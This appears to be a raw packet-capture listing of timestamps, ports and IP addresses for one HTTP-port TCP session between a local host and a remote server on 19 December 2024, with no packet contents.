Dec 19, 2024 07:57:22.100497007 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.100538969 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.101253986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.101300001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.101339102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.101378918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.102109909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.102152109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.102166891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.102206945 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.102992058 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.103041887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.103085041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.103123903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.103880882 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.103945017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.103981018 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.104020119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.104758024 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.104804993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.104851961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.105220079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.105607986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.105660915 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.105716944 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.105760098 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.106499910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.106558084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.106584072 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.106625080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.107399940 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.107451916 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.107471943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.107511997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.108232975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.108285904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.108341932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.108385086 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.109100103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.109143972 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.109196901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.109236956 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.109955072 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.109996080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.110080004 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.110121012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.110893011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.110943079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.111001968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.111043930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.111728907 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.111800909 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.111825943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.111870050 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.112591028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.112637997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.112657070 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.112698078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.113472939 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.113524914 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.113603115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.114332914 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.114376068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.114437103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.114479065 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.115212917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.115257025 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.115339041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.115392923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.116081953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.116123915 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.116204977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.116247892 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.116971016 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.117016077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.117088079 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.117129087 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.117830038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.117880106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.117968082 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.118021011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.118715048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.118758917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.118762970 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.118798018 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.119599104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.119652033 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.119703054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.119749069 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.120451927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.120498896 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.120520115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.120560884 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.121351957 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.121403933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.121438026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.121481895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.122205019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.122252941 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.122304916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.122364044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.123075962 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.123119116 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.123200893 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.123243093 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.124030113 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.124072075 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.124151945 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.124192953 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.124830961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.124871969 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.124934912 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.124979973 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.125678062 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.125730038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.125783920 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.125823975 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.126569986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.126611948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.126671076 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.126709938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.127451897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.127501965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.127572060 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.127630949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.128287077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.128333092 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.128426075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.128475904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.129199982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.129239082 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.129312992 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.129352093 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.130156040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.130188942 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.130198002 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.130240917 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.130954027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.130995035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.131084919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.131124973 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.131829023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.131870985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.131908894 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.131947041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.132658005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.132700920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.132781982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.132818937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.133558035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.133600950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.133621931 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.133657932 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.134435892 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.134475946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.134520054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.134562969 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.135339975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.135379076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.135859013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.135900974 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.136244059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.136286020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.136668921 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.136708975 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.137053967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.137095928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.137175083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.137213945 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.137923002 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.137969017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.138015032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.138056040 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.138827085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.138880014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.138964891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.139004946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.139677048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.139724970 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.140305996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.140405893 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.217911959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.217937946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.218008041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.218031883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.218102932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.218147039 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.218189955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.218230009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.218975067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.219023943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.219121933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.219167948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.219907045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.219954014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.219981909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.220020056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.289472103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.289565086 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.289658070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.289868116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.290015936 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.290030956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.290080070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.290719032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.290769100 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.290786028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.290831089 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.291618109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.291666985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.291692019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.291732073 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.292475939 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.292522907 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.292543888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.292587042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.293313026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.293361902 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.293473005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.293519974 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.294179916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.294226885 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.294239998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.294281006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.295059919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.295110941 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.295272112 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.295319080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.295993090 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.296040058 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.296060085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.296102047 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.296873093 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.296921968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.296950102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.296989918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.297725916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.297771931 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.297916889 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.297964096 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.298540115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.298587084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.298670053 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.298717022 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.299443007 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.299493074 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.299587965 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.299638987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.300349951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.300398111 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.300435066 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.300477028 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.301189899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.301235914 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.301306963 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.301352978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.302037954 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.302086115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.302155972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.302202940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.302939892 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.302988052 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.303047895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.303092003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.303802013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.303848982 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.303955078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.304001093 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.304671049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.304718018 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.304800987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.304847956 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.305524111 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.305571079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.305653095 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.305697918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.306423903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.306471109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.306540012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.306586027 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.307324886 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.307372093 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.307374001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.307409048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.308183908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.308231115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.308274031 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.308312893 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.309036970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.309084892 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.309161901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.309206963 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.309912920 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.309962988 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.310033083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.310075998 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.310781956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.310828924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.310894966 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.310944080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.311642885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.311695099 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.311755896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.311800003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.312544107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.312591076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.312632084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.312674046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.313503027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.313522100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.313551903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.313570976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.314289093 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.314337015 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.314378023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.314414978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.315226078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.315274000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.315406084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.315453053 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.316028118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.316075087 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.316134930 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.316179037 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.316884041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.316930056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.317029953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.317075968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.317769051 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.317816019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.317874908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.317950964 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.318640947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.318689108 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.318752050 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.318795919 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.319535971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.319586039 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.319611073 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.319649935 CET	49759	80	192.168.2.4	185.215.113.206
